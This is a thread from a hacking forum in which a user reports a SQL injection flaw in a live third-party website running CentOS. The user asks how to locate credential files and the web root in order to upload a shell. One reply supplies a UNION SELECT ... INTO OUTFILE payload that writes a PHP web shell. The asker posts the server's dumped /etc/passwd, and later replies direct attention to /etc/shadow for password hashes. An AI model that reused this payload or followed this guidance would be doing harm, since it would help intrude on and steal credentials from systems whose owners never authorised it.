iExploit

Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Sign In Apply for Membership

Top Posters

Who's Online (1)

Powered by Vanilla. Made with Bootstrap.
Looking to introduce yourself? Look no further, and click here! We also have IRC! [irc.evilzone.org #iexploit]
Need Help
  • Hardcore-Gabber
    Posts: 118
    I have founde a website that is vuln to sqli and i cane read all the files like /etc/passwd and also i cane make files .
    My question is what file to read to founde out the mysql password or ftp or root .. Or how to founde the home folder to upload a shell . (/home/....../public_html/) the os is Centos 5.5
  • Xin
    Posts: 3,251
    If you can execute commands, go to the home folder, usually home/user/public_html
    some times var/www/

    But search around, when you get there create a new file shell.php

    Something like this

    UNION ALL SELECT * FROM users WHERE id = '' UNION SELECT
    '<?php include(shell); ?>' INTO OUTFILE '/var/www/shell.php', $link);
    Xin
  • Hardcore-Gabber
    Posts: 118
    I have tried all var/www/user/public_html and home/user/public_html but i could nor founde the ruht place ..

    Here is the /etc/passwd ..

    and for the reply .. 

    root&#58;x&#58;0&#58;0&#58;root&#58;/root&#58;/bin/bash
    bin&#58;x&#58;1&#58;1&#58;bin&#58;/bin&#58;/sbin/nologin
    daemon&#58;x&#58;2&#58;2&#58;daemon&#58;/sbin&#58;/sbin/nologin
    adm&#58;x&#58;3&#58;4&#58;adm&#58;/var/adm&#58;/sbin/nologin
    lp&#58;x&#58;4&#58;7&#58;lp&#58;/var/spool/lpd&#58;/sbin/nologin
    sync&#58;x&#58;5&#58;0&#58;sync&#58;/sbin&#58;/bin/sync
    shutdown&#58;x&#58;6&#58;0&#58;shutdown&#58;/sbin&#58;/sbin/shutdown
    halt&#58;x&#58;7&#58;0&#58;halt&#58;/sbin&#58;/sbin/halt
    mail&#58;x&#58;8&#58;12&#58;mail&#58;/var/spool/mail&#58;/sbin/nologin
    news&#58;x&#58;9&#58;13&#58;news&#58;/etc/news&#58;
    uucp&#58;x&#58;10&#58;14&#58;uucp&#58;/var/spool/uucp&#58;/sbin/nologin
    operator&#58;x&#58;11&#58;0&#58;operator&#58;/root&#58;/sbin/nologin
    games&#58;x&#58;12&#58;100&#58;games&#58;/usr/games&#58;/sbin/nologin
    gopher&#58;x&#58;13&#58;30&#58;gopher&#58;/var/gopher&#58;/sbin/nologin
    ftp&#58;x&#58;14&#58;50&#58;FTP User&#58;/var/ftp&#58;/sbin/nologin
    nobody&#58;x&#58;99&#58;99&#58;Nobody&#58;/&#58;/sbin/nologin
    rpm&#58;x&#58;37&#58;37&#58;&#58;/var/lib/rpm&#58;/sbin/nologin
    dbus&#58;x&#58;81&#58;81&#58;System message bus&#58;/&#58;/sbin/nologin
    vcsa&#58;x&#58;69&#58;69&#58;virtual console memory owner&#58;/dev&#58;/sbin/nologin
    haldaemon&#58;x&#58;68&#58;68&#58;HAL daemon&#58;/&#58;/sbin/nologin
    sshd&#58;x&#58;74&#58;74&#58;Privilege-separated SSH&#58;/var/empty/sshd&#58;/sbin/nologin
    admin&#58;x&#58;600&#58;600&#58;&#58;/home/admin&#58;/bin/bash
    hurdman&#58;x&#58;601&#58;600&#58;&#58;/home/hurdman&#58;/bin/bash
    distcache&#58;x&#58;94&#58;94&#58;Distcache&#58;/&#58;/sbin/nologin
    avahi&#58;x&#58;70&#58;70&#58;Avahi daemon&#58;/&#58;/sbin/nologin
    apache&#58;x&#58;48&#58;48&#58;Apache&#58;/var/www&#58;/sbin/nologin
    ntp&#58;x&#58;38&#58;38&#58;&#58;/etc/ntp&#58;/sbin/nologin
    xfs&#58;x&#58;43&#58;43&#58;X Font Server&#58;/etc/X11/fs&#58;/sbin/nologin
    mysql&#58;x&#58;100&#58;101&#58;MySQL server&#58;/var/lib/mysql&#58;/bin/bash
    rpc&#58;x&#58;32&#58;32&#58;Portmapper RPC user&#58;/&#58;/sbin/nologin
    rpcuser&#58;x&#58;29&#58;29&#58;RPC Service User&#58;/var/lib/nfs&#58;/sbin/nologin
    nfsnobody&#58;x&#58;4294967294&#58;4294967294&#58;Anonymous NFS User&#58;/var/lib/nfs&#58;/sbin/nologin
    nagios&#58;x&#58;101&#58;102&#58;nagios&#58;/var/log/nagios&#58;/bin/sh
    xymon&#58;x&#58;1984&#58;1984&#58;&#58;/usr/local/xymon&#58;/bin/bash
    puppet&#58;x&#58;102&#58;103&#58;Puppet&#58;/var/lib/puppet&#58;/sbin/nologin
  • Xin
    Posts: 3,251
    etc passwd wont help so dont focus on that
    Xin
  • chroniccommand
    Posts: 1,389
    /etc/passwd won't help you. It just shows the usernames and the locations of their home folder and what shell they use by default. /etc/shadow has the passwords.
Add a Comment